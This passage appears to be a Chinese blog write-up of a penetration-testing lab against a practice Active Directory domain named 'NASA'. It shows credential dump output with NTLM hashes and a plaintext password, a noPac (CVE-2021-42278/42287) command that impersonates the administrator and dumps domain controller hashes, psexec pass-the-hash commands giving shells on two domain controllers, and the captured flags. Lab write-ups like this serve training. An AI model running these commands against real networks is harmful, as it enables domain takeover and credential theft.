    Session           : Interactive from 2
    User Name         : test
    Domain            : NASA
    Logon Server      : AD01
    Logon Time        : 2022/8/6 15:31:41
    SID               : S-1-5-21-320502414-1314547354-1033589243-1134
    	msv :	
    	 [00000003] Primary
    	 * Username : test
    	 * Domain   : NASA
    	 * LM       : a071457d1ede2871a365438a9412e9f4
    	 * NTLM     : 59e3c9f97af3f257b02409bbf3b2da11
    	 * SHA1     : c4eb781da81b515f7d68f68044e97ac00e1d7085
    	tspkg :	
    	 * Username : test
    	 * Domain   : NASA
    	 * Password : QWEasd!@#999
    	wdigest :	
    	 * Username : test
    	 * Domain   : NASA
    	 * Password : QWEasd!@#999
    	kerberos :	
    	 * Username : test
    	 * Domain   : NASA.GOV
    	 * Password : QWEasd!@#999
    	ssp :	
    	credman :	
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28

    收集网段,扫描网段主机

    image-20220806152339536

    存在两个网段,192 我们已经全部打完了,我们扫描一下 10 段。

    image-20220806152938654

    存在两台主机

    10.10.10.140		AD01
    10.10.10.141		AD02
    
    • 1
    • 2

    CVE-2021-42278 and CVE-2021-42287 攻击域控

    项目下载地址:https://github.com/Ridter/noPac

    使用以下命令导出 AD02 的 hash

    python noPac.py nasa.gov/test:'QWEasd!@#999' -dc-ip 10.10.10.141 -dc-host AD02  --impersonate administrator -use-ldap -dump
    
    • 1

    image-20220806173318426

    Administrator:500:aad3b435b51404eeaad3b435b51404ee:fbe5588a79e40d41d77a40569c7b3090:::
    Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
    DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
    
    • 1
    • 2
    • 3

    psexec 连接

    python3 psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:fbe5588a79e40d41d77a40569c7b3090 nasa.gov/administrator@10.10.10.141
    
    • 1

    image-20220806174431615

    获取 flag

    image-20220806174554532

    moonsec_flag{d3eb9a9233e52948740d7eb8c3062d14}
    
    • 1

    AD01 同理

    python3 psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:fbe5588a79e40d41d77a40569c7b3090 nasa.gov/administrator@10.10.10.140
    
    • 1

    image-20220806175027407

    获取 flag

    image-20220806175150130

    moonsec_flag{2181d94fba9a1d2de2b5f6fb75f8ab08}
    
    • 1

    上线 cs

    想要上线 cs,只需要使用上面的下载脚本下载 木马 然后执行就行了。

    这里因为时间问题就不进行操作了。

    总结

    在做项目的时候我们可以把我们学到的知识串联起来,并且在做项目的时候我们会遇到各种各样的问题不会像打靶场那样顺利。遇到这些问题我们要试着去解决它,说不定哪天就可能会遇到同样的问题。

    没有人一出生就是大佬,无非是见的多了就懂了。

    希望各位能保持一开始的热情,我们顶峰相见。

  • 相关阅读:
    Python基础String字符串定义与函数
    云可观测性:提升云环境中应用程序可靠性
    聊一聊开发语言的基础控制结构
    腾讯二面 高级Java开发工程师
    【时间复杂度】定义与计算方法
    golang pprof
    cpacr_el1等特殊寄存器
    【ARM CoreLink 系列 7 -- TZC-400控制器简介】
    Java学习day07:面向对象三大特性之一:封装
    社交电商需要的各类API推荐
  • 原文地址:https://blog.csdn.net/qq_53742230/article/details/126545307